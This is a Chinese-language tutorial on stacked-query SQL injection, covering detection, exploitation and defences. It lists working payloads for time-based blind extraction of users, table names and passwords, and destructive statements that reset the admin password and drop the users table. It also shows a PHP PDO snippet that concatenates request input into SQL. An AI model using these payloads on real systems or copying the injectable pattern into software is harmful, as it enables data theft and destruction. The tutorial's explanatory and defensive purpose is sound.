最新堆叠查询注入攻击和注入代码分析技术
字数 868 2025-08-18 17:33:34
堆叠查询注入攻击与防御技术详解
一、堆叠查询注入概述
堆叠查询注入(Stacked Query Injection)是一种SQL注入技术,攻击者通过在输入中插入分号(;)来分隔多个SQL语句,从而在单次请求中执行多条SQL命令。
核心特点
- 允许在一个数据库连接中执行多个SQL语句
- 语句之间使用分号(
;)分隔 - 第二条及后续语句完全由攻击者控制
- 特别危险因为可以执行任意数据库操作
二、堆叠查询注入原理
基本攻击模式
- 攻击者在输入中插入分号结束原始查询
- 随后添加自定义的恶意SQL语句
- 数据库服务器依次执行所有语句
示例攻击语句
'; SELECT IF(SUBSTR(USER(),1,1)='r',SLEEP(3),1)%23
三、堆叠查询注入检测技术
检测步骤
- 错误检测:尝试输入
id=1'观察是否返回数据库错误 - 注释验证:输入
id=1'%23验证注释是否生效 - 多语句测试:尝试执行简单堆叠查询如
id=1'; SELECT 1%23
时间注入检测
'; SELECT IF(SUBSTR(USER(),1,1)='r',SLEEP(3),1)%23
- 如果第一个字符是'r'则延迟3秒
- 否则立即返回
四、堆叠查询注入利用技术
1. 数据库信息收集
获取当前用户:
'; SELECT IF(SUBSTR(USER(),1,1)='r',SLEEP(3),1)%23
获取表名:
'; SELECT IF(SUBSTR((SELECT TABLE_NAME FROM information_schema.tables
WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)='u',SLEEP(3),1)%23
2. 数据提取技术
通过布尔型或时间盲注逐字符提取数据:
'; SELECT IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1))=97,SLEEP(3),1)%23
3. 直接数据操作
'; UPDATE users SET password='hacked' WHERE username='admin'%23
'; DROP TABLE users%23
五、PDO环境下的堆叠注入
PDO配置问题
即使使用PDO,如果直接将用户输入拼接到SQL语句中,仍然存在注入风险:
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "123456");
$stmt = $conn->query("SELECT * FROM users where `id`='".$_GET['id']."'");
PDO堆叠注入特点
- PDO默认只返回第一条语句的结果
- 但后续语句仍会被执行
- 可利用时间注入或数据修改操作
六、防御措施
1. 参数化查询
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. 输入验证
- 白名单验证输入格式
- 对于数字ID,强制转换为整数
3. 最小权限原则
- 数据库用户只授予必要权限
- 禁止普通用户执行DDL语句
4. PDO安全配置
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
5. 其他防御
- Web应用防火墙(WAF)
- 数据库防火墙
- 定期安全审计
七、总结
堆叠查询注入是一种高危SQL注入技术,允许攻击者在单次请求中执行多条SQL语句。防御的关键在于:
- 始终使用参数化查询
- 不要拼接用户输入到SQL语句
- 实施深度防御策略
- 定期进行安全测试
通过正确使用预处理语句和严格的输入验证,可以完全防止堆叠查询注入攻击。